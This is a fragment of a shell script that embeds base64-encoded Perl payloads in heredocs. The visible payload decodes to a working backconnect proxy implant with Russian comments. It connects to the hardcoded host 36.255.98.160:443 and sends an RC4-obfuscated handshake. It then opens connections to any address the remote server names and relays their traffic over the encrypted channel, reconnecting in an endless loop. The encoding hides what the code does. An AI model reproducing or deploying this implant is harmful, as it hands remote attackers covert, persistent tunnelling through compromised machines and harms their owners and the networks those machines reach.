jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_1() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
